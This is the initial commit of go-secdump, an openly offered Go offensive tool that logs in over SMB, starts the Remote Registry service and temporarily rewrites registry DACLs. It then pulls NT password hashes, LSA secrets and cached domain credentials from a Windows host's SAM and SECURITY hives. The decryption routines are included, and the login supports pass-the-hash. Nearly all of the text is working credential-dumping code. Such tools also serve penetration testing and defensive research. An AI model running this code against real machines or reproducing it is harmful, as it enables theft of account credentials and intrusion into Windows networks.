Initial commit

This commit is contained in:
Jimmy Fjällid
2023-02-23 18:00:18 +01:00
commit 27450f17a4
8 changed files with 1923 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 Jimmy Fjällid
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+7
View File
@@ -0,0 +1,7 @@
all:
GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o go-secdump
GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o go-secdump.exe .
clean:
rm -f go-secdump
rm -f go-secdump.exe
+66
View File
@@ -0,0 +1,66 @@
# go-secdump
## Description
Package go-secdump is a tool built to remotely extract hashes from the SAM
registry hive as well as LSA secrets and cached hashes from the SECURITY hive
without any remote agent and without touching disk.
The tool is built on top of the library https://github.com/jfjallid/go-smb
and use it to communicate with the Windows Remote Registry to retrieve registry
keys directly from memory.
It was built as a learning experience and as a proof of concept that it should
be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA
secrets as well as domain cached credentials without having to first save the
registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only
readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group
administrators had the WriteDACL permission on the registry hives and could
thus be used to temporarily grant read access to itself to retrieve the
secrets and then restore the original permissions.
## Credits
Much of the code in this project is inspired/taken from Impacket's secdump
but converted to access the Windows registry remotely and to only access the
required registry keys.
Some of the other sources that have been useful to understanding the registry
structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
## Usage
```
Usage of ./go-secdump:
-d string
domain
-debug
enable debugging
-hash string
hex encoded NT Hash for user
-host string
host
-noenc
disable smb encryption
-pass string
password
-port int
SMB Port (default 445)
-smb2
Force smb 2.1
-user string
username
```
## Examples
Dump registry secrets
```
./go-secdump --host DESKTOP-AIG0C1D2 -user Administrator -pass adminPass123
```
+9
View File
@@ -0,0 +1,9 @@
module github.com/jfjallid/go-secdump
go 1.19
require (
github.com/jfjallid/go-smb v0.1.1
github.com/jfjallid/golog v0.3.1
golang.org/x/crypto v0.6.0
)
+6
View File
@@ -0,0 +1,6 @@
github.com/jfjallid/go-smb v0.1.1 h1:QiTKOWwpkyqS4I+fMZd4Ex0m41vSWyLd65JR9kkXi7o=
github.com/jfjallid/go-smb v0.1.1/go.mod h1:Kew0ysf3f+GtnBzpU7jiZmZ4ohp4ZHE7z2PMnXXG7IM=
github.com/jfjallid/golog v0.3.1 h1:o+gCUDClhOzcxpboLlbQeP/E/TfMlr6lQFvOD8JC5BY=
github.com/jfjallid/golog v0.3.1/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58=
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
+464
View File
@@ -0,0 +1,464 @@
// MIT License
//
// # Copyright (c) 2023 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package main
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"os"
"strings"
"time"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/dcerpc"
"github.com/jfjallid/go-smb/smb/dcerpc/msrrp"
"github.com/jfjallid/golog"
)
var log = golog.Get("")
func startRemoteRegistry(session *smb.Connection, share string) (err error) {
f, err := session.OpenFile(share, "svcctl")
if err != nil {
log.Errorln(err)
return
}
defer f.CloseFile()
bind, err := dcerpc.Bind(f, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr)
if err != nil {
log.Errorln("Failed to bind to service")
log.Errorln(err)
return
}
serviceName := "RemoteRegistry"
status, err := bind.GetServiceStatus(serviceName)
if err != nil {
log.Errorln(err)
return
}
if status != dcerpc.ServiceRunning {
err = bind.StartService(serviceName)
if err != nil {
log.Errorln(err)
return
}
// Wait for pipe to be created
time.Sleep(time.Second)
}
return nil
}
func changeDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, sid string, m map[string]*msrrp.SecurityDescriptor) (map[string]*msrrp.SecurityDescriptor, error) {
if m == nil {
m = make(map[string]*msrrp.SecurityDescriptor)
}
for _, subkey := range keys {
hSubKey, err := rpccon.OpenSubKey(base, subkey)
if err != nil {
if err == msrrp.ReturnCodeMap[msrrp.ErrorFileNotFound] {
// Skip keys that do not exist
continue
}
log.Errorln(err)
return nil, err
}
//Retrieving security settings
sd, err := rpccon.GetKeySecurity(hSubKey)
if err != nil {
rpccon.CloseKeyHandle(hSubKey)
log.Errorln(err)
return nil, err
}
// Check if key exists before adding to map.
// Don't want to replace an existing key in case I change the ACL twice
if _, ok := m[subkey]; !ok {
m[subkey] = sd
}
mask := msrrp.PermWriteDacl | msrrp.PermReadControl | msrrp.PermKeyEnumerateSubKeys | msrrp.PermKeyQueryValue
ace, err := msrrp.NewAce(sid, mask, msrrp.AccessAllowedAceType, msrrp.ContainerInheritAce)
if err != nil {
rpccon.CloseKeyHandle(hSubKey)
delete(m, subkey)
log.Errorln(err)
return nil, err
}
// NOTE Can't set owner, group or SACL, since I only have WriteDacl on SAM\SAM
newSd, err := msrrp.NewSecurityDescriptor(sd.Control, nil, nil, msrrp.NewACL(append([]msrrp.ACE{*ace}, sd.Dacl.ACLS...)), nil)
err = rpccon.SetKeySecurity(hSubKey, newSd)
if err != nil {
rpccon.CloseKeyHandle(hSubKey)
delete(m, subkey)
log.Errorln(err)
return nil, err
}
rpccon.CloseKeyHandle(hSubKey)
}
return m, nil
}
func revertDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, m map[string]*msrrp.SecurityDescriptor) error {
var sd *msrrp.SecurityDescriptor
var ok bool
for _, subkey := range keys {
if sd, ok = m[subkey]; !ok {
// Key did not exist so was not added to map
continue
}
hSubKey, err := rpccon.OpenSubKey(base, subkey)
if err != nil {
log.Errorln(err)
continue // Try to change as many keys as possible
}
sd.Control &^= msrrp.SecurityDescriptorFlagSP
sd.OffsetSacl = 0
sd.OwnerSid = nil
sd.GroupSid = nil
sd.OffsetOwner = 0
sd.OffsetGroup = 0
err = rpccon.SetKeySecurity(hSubKey, sd)
if err != nil {
log.Errorln(err)
rpccon.CloseKeyHandle(hSubKey)
continue
}
rpccon.CloseKeyHandle(hSubKey)
}
return nil
}
func tryRollbackChanges(rpccon *msrrp.RPCCon, hKey []byte, keys []string, m map[string]*msrrp.SecurityDescriptor) error {
log.Noticeln("Attempting to restore security descriptors")
// Rollback changes in reverse order
for i, j := 0, len(keys)-1; i < j; i, j = i+1, j-1 {
keys[i], keys[j] = keys[j], keys[i]
}
err := revertDacl(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return err
}
return nil
}
func main() {
host := flag.String("host", "", "host")
username := flag.String("user", "", "username")
password := flag.String("pass", "", "password")
hash := flag.String("hash", "", "hex encoded NT Hash for user")
domain := flag.String("d", "", "domain")
port := flag.Int("port", 445, "SMB Port")
debug := flag.Bool("debug", false, "enable debugging")
noEnc := flag.Bool("noenc", false, "disable smb encryption")
forceSMB2 := flag.Bool("smb2", false, "Force smb 2.1")
//log.Set("github.com/jfjallid/go-smb/smb", log.LevelError, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
//log.Set("github.com/jfjallid/go-smb/smb/dcerpc", log.LevelDebug, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
//log.Set("github.com/jfjallid/go-smb/smb/dcerpc/msrrp", log.LevelDebug, log.LstdFlags|log.Lshortfile, log.DefaultOutput)
//log.SetFlags(golog.LstdFlags | golog.Lshortfile)
share := ""
var hashBytes []byte
var err error
flag.Parse()
if *host == "" {
log.Errorln("Must specify a hostname")
return
}
if *hash != "" {
hashBytes, err = hex.DecodeString(*hash)
if err != nil {
fmt.Println("Failed to decode hash")
log.Errorln(err)
return
}
}
if (*password == "") && (hashBytes == nil) {
reader := bufio.NewReader(os.Stdin)
fmt.Printf("Enter password: ")
pass, err := reader.ReadString('\n')
if err != nil {
log.Errorln(err)
return
}
pass = strings.TrimSuffix(pass, "\n") // Remove Linux newline
pass = strings.TrimSuffix(pass, "\r") // Remove Windows Carriage Return
*password = pass
}
options := smb.Options{
Host: *host,
Port: *port,
Initiator: &smb.NTLMInitiator{
User: *username,
Password: *password,
Hash: hashBytes,
Domain: *domain,
Workstation: "",
},
DisableEncryption: *noEnc,
ForceSMB2: *forceSMB2,
}
session, err := smb.NewConnection(options, *debug)
if err != nil {
log.Criticalln(err)
return
}
defer session.Close()
if session.IsSigningRequired {
log.Noticeln("[-] Signing is required")
} else {
log.Noticeln("[+] Signing is NOT required")
}
if session.IsAuthenticated {
log.Noticeln("[+] Login successful")
} else {
log.Noticeln("[-] Login failed")
}
// Connect to IPC$ share
share = "IPC$"
err = session.TreeConnect(share)
if err != nil {
log.Errorln(err)
return
}
defer session.TreeDisconnect(share)
// Check if RemoteRegistry is running, and if not, enable it
err = startRemoteRegistry(session, share)
if err != nil {
log.Errorln(err)
return
}
// Open connection to Windows Remote Registry pipe
f, err := session.OpenFile(share, msrrp.MSRRPPipe)
if err != nil {
log.Errorln(err)
return
}
defer f.CloseFile()
// Bind to Windows Remote Registry service
bind, err := dcerpc.Bind(f, msrrp.MSRRPUuid, msrrp.MSRRPMajorVersion, msrrp.MSRRPMinorVersion, msrrp.NDRUuid)
if err != nil {
log.Errorln("Failed to bind to service")
log.Errorln(err)
return
}
// RPCCon is a wrapper for an RPC Bind that implements the Remote Registry functions
rpccon := msrrp.NewRPCCon(bind)
hKey, err := rpccon.OpenBaseKey(msrrp.HKEYLocalMachine)
if err != nil {
log.Errorln(err)
return
}
defer rpccon.CloseKeyHandle(hKey)
// Most of the registry keys needed for extracting secrets from the registry.
// The local group "administrators" has WriteDACL on HKLM:\\SAM\SAM so that
// SID is used for the temporary increase in privileges.
// Note that this list is extended with dynamically discovered SIDs for
// local users.
sid := "S-1-5-32-544"
keys := []string{
`SAM\SAM`,
`SAM\SAM\Domains`,
`SAM\SAM\Domains\Account`,
`SAM\SAM\Domains\Account\Users`,
`SECURITY\Policy\Secrets`,
`SECURITY\Policy\Secrets\NL$KM`,
`SECURITY\Policy\Secrets\NL$KM\CurrVal`,
`SECURITY\Cache`,
`SECURITY\Policy\PolEKList`,
`SECURITY\Policy\PolSecretEncryptionKey`,
}
// Grant temporarily higher permissions to the local administrators group
m, err := changeDacl(rpccon, hKey, keys, sid, nil)
if err != nil {
log.Errorln(err)
return
}
// Get RIDs of local users
keyUsers := `SAM\SAM\Domains\Account\Users`
rids, err := rpccon.GetSubKeyNames(hKey, keyUsers)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
}
rids = rids[:len(rids)-1]
for i := range rids {
rids[i] = fmt.Sprintf("%s\\%s", keyUsers, rids[i])
}
// Extend the list of keys that have temporarily altered permissions
keys = append(keys, rids...)
// Grant temporarily higher permissions to the local administrators group
m, err = changeDacl(rpccon, hKey, rids, sid, m)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
syskey, err := getSysKey(rpccon, hKey)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
// Gather credentials/secrets
creds, err := getNTHash(rpccon, hKey, rids)
if err != nil {
log.Errorln(err)
// Try to get other secrets instead of hard fail
} else {
for _, cred := range creds {
fmt.Printf("Name: %s\n", cred.Username)
fmt.Printf("RID: %d\n", cred.RID)
if len(cred.Data) == 0 {
fmt.Printf("NT: <empty>\n\n")
continue
}
var hash []byte
if cred.AES {
hash, err = DecryptAESHash(cred.Data, cred.IV, syskey, cred.RID)
} else {
hash, err = DecryptRC4Hash(cred.Data, syskey, cred.RID)
}
fmt.Printf("NT: %x\n\n", hash)
}
}
// Get names of lsa secrets
keySecrets := `SECURITY\Policy\Secrets`
secrets, err := rpccon.GetSubKeyNames(hKey, keySecrets)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
newSecrets := make([]string, 0, len(secrets)*2)
for i := range secrets {
newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s", keySecrets, secrets[i]))
newSecrets = append(newSecrets, fmt.Sprintf("%s\\%s\\%s", keySecrets, secrets[i], "CurrVal"))
}
keys = append(keys, newSecrets...)
m, err = changeDacl(rpccon, hKey, newSecrets, sid, m)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
lsaSecrets, err := GetLSASecrets(rpccon, hKey, false)
if err != nil {
log.Noticeln("Failed to get lsa secrets")
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
if len(lsaSecrets) > 0 {
fmt.Println("[*] LSA Secrets:")
for _, secret := range lsaSecrets {
fmt.Println(secret.secretType)
for _, item := range secret.secrets {
fmt.Println(item)
}
if secret.extraSecret != "" {
fmt.Println(secret.extraSecret)
}
}
}
cachedHashes, err := GetCachedHashes(rpccon, hKey)
if err != nil {
log.Errorln(err)
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
return
}
if len(cachedHashes) > 0 {
fmt.Println("[*] Dumping cached domain logon information (domain/username:hash)")
for _, secret := range cachedHashes {
fmt.Println(secret)
}
}
//Revert changes
err = tryRollbackChanges(rpccon, hKey, keys, m)
if err != nil {
log.Errorln(err)
return
}
fmt.Println("Done")
}
+1082
View File
File diff suppressed because it is too large Load Diff
+268
View File
@@ -0,0 +1,268 @@
// MIT License
//
// # Copyright (c) 2023 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/des"
"crypto/md5"
"crypto/rc4"
"crypto/sha256"
"encoding/binary"
"math/bits"
)
const (
WIN_UNKNOWN = iota
WINXP
WIN7
WIN8
WIN81
WIN10
)
func GetOSVersion(build int, version float64) (os byte, err error) {
if (build >= 7000) && (build < 7999) {
log.Debugf("Windows 7\n")
os = WIN7
} else if (build >= 9000) && (build < 9999) {
if version < 6.3 {
log.Debugf("Windows 8\n")
os = WIN8
} else {
//log.Debugf("Windows 8.1\n")
os = WIN81
}
} else if (build >= 10000) && (build < 18363) {
log.Debugf("Windows 10\n")
os = WIN10
} else {
if (version < 5.2) && (version > 5.0) {
os = WINXP
log.Debugf("Windows XP?\n")
} else {
os = WIN_UNKNOWN
log.Debugf("Unknown OS\n")
}
}
log.Debugf("OS Version: %d\n", os)
return
}
func GetOsVersionName(build int, version float64, inErr error) string {
if inErr != nil {
log.Errorln(inErr)
return "Unknown OS"
}
os, err := GetOSVersion(build, version)
if err != nil {
log.Errorln(err)
return "Unknown OS"
}
result := "Unknown OS"
switch os {
case WIN_UNKNOWN:
break
case WINXP:
result = "Windows XP"
case WIN7:
result = "Windows 7"
case WIN8:
result = "Windows 8"
case WIN81:
result = "Windows 8.1"
case WIN10:
result = "Windows 10"
}
return result
}
func IsWin10After1607(build int, version float64, inErr error) (value bool, err error) {
if inErr != nil {
return false, inErr
}
if build >= 14393 {
value = true
} else {
value = false
}
return
}
func IsBetweenWinXPWin10(build int, version float64, inErr error) (value bool, err error) {
if inErr != nil {
return false, inErr
}
os, err := GetOSVersion(build, version)
if err != nil {
return
}
if (WINXP <= os) && (os <= WIN10) {
value = true
} else {
value = false
}
return
}
func SHA256(key, value []byte, rounds int) []byte {
if rounds == 0 {
rounds = 1000
}
h := sha256.New()
h.Write(key)
for i := 0; i < 1000; i++ {
h.Write(value)
}
return h.Sum(nil)
}
func DecryptAES(key, ciphertext, iv []byte) (plaintext []byte, err error) {
nullIV := true
var mode cipher.BlockMode
block, err := aes.NewCipher(key)
if err != nil {
log.Errorln(err)
return
}
if iv != nil {
mode = cipher.NewCBCDecrypter(block, iv)
nullIV = false
} else {
iv = make([]byte, 16)
}
ciphertextLen := len(ciphertext)
var cipherBuffer []byte
for i := 0; i < ciphertextLen; i += 16 {
if nullIV {
mode = cipher.NewCBCDecrypter(block, iv)
}
// Need to calculate 16 bytes block every time and padd with 0 if not enough bytes left
dataLeft := len(ciphertext[i:])
if dataLeft < 16 {
padding := 16 - dataLeft
cipherBuffer = ciphertext[i : i+dataLeft]
paddBuffer := make([]byte, padding)
cipherBuffer = append(cipherBuffer, paddBuffer...)
} else {
cipherBuffer = ciphertext[i : i+16]
}
// Decryption in-place
mode.CryptBlocks(cipherBuffer, cipherBuffer)
plaintext = append(plaintext, cipherBuffer...)
}
return
}
// Wellknown function to convert 56bit to 64bit des key
// final step is to check parity and add the parity bit as the right most bit
// Not sure what the first part of this function does.
func plusOddParity(input []byte) []byte {
output := make([]byte, 8)
output[0] = input[0] >> 0x01
output[1] = ((input[0] & 0x01) << 6) | (input[1] >> 2)
output[2] = ((input[1] & 0x03) << 5) | (input[2] >> 3)
output[3] = ((input[2] & 0x07) << 4) | (input[3] >> 4)
output[4] = ((input[3] & 0x0f) << 3) | (input[4] >> 5)
output[5] = ((input[4] & 0x1f) << 2) | (input[5] >> 6)
output[6] = ((input[5] & 0x3f) << 1) | (input[6] >> 7)
output[7] = input[6] & 0x7f
for i := 0; i < 8; i++ {
if (bits.OnesCount(uint(output[i])) % 2) == 0 {
output[i] = (output[i] << 1) | 0x1
} else {
output[i] = (output[i] << 1) & 0xfe
}
}
return output
}
func decryptNTHash(encHash, ridBytes []byte) (hash []byte, err error) {
nt1 := make([]byte, 8)
nt2 := make([]byte, 8)
desSrc1 := make([]byte, 7)
desSrc2 := make([]byte, 7)
shift1 := []int{0, 1, 2, 3, 0, 1, 2}
shift2 := []int{3, 0, 1, 2, 3, 0, 1}
for i := 0; i < 7; i++ {
desSrc1[i] = ridBytes[shift1[i]]
desSrc2[i] = ridBytes[shift2[i]]
}
deskey1 := plusOddParity(desSrc1)
deskey2 := plusOddParity(desSrc2)
dc1, err := des.NewCipher(deskey1)
if err != nil {
log.Errorf("Failed to initialize first DES cipher with error: %v\n", err)
return
}
dc2, err := des.NewCipher(deskey2)
if err != nil {
log.Errorf("Failed to initialize second DES cipher with error: %v\n", err)
return
}
dc1.Decrypt(nt1, encHash[:8])
dc2.Decrypt(nt2, encHash[8:])
hash = append(hash, nt1...)
hash = append(hash, nt2...)
return
}
func DecryptRC4Hash(doubleEncHash, syskey []byte, rid uint32) (ntHash []byte, err error) {
ridBytes := make([]byte, 4)
encHash := make([]byte, 16)
binary.LittleEndian.PutUint32(ridBytes, rid)
input2 := []byte{}
input2 = append(input2, syskey...)
input2 = append(input2, ridBytes...)
input2 = append(input2, s3...)
rc4key := md5.Sum(input2)
//log.Debugf("NT Hash RC4 encryption key: md5(%x %x %x)\n", syskey, ridBytes, s3)
//log.Debugf("NT Hash RC4 encryption key: %x\n", rc4key)
// Decrypt the encrypted NT Hash
c2, err := rc4.NewCipher(rc4key[:])
if err != nil {
log.Errorln("Failed to init RC4 key")
return
}
c2.XORKeyStream(encHash, doubleEncHash)
ntHash, err = decryptNTHash(encHash, ridBytes)
return
}
func DecryptAESHash(doubleEncHash, encHashIV, syskey []byte, rid uint32) (ntHash []byte, err error) {
ridBytes := make([]byte, 4)
encHash := make([]byte, 16)
binary.LittleEndian.PutUint32(ridBytes, rid)
a1, err := aes.NewCipher(syskey)
if err != nil {
log.Errorln("Failed to init AES key")
return
}
c1 := cipher.NewCBCDecrypter(a1, encHashIV)
c1.CryptBlocks(encHash, doubleEncHash)
ntHash, err = decryptNTHash(encHash, ridBytes)
return
}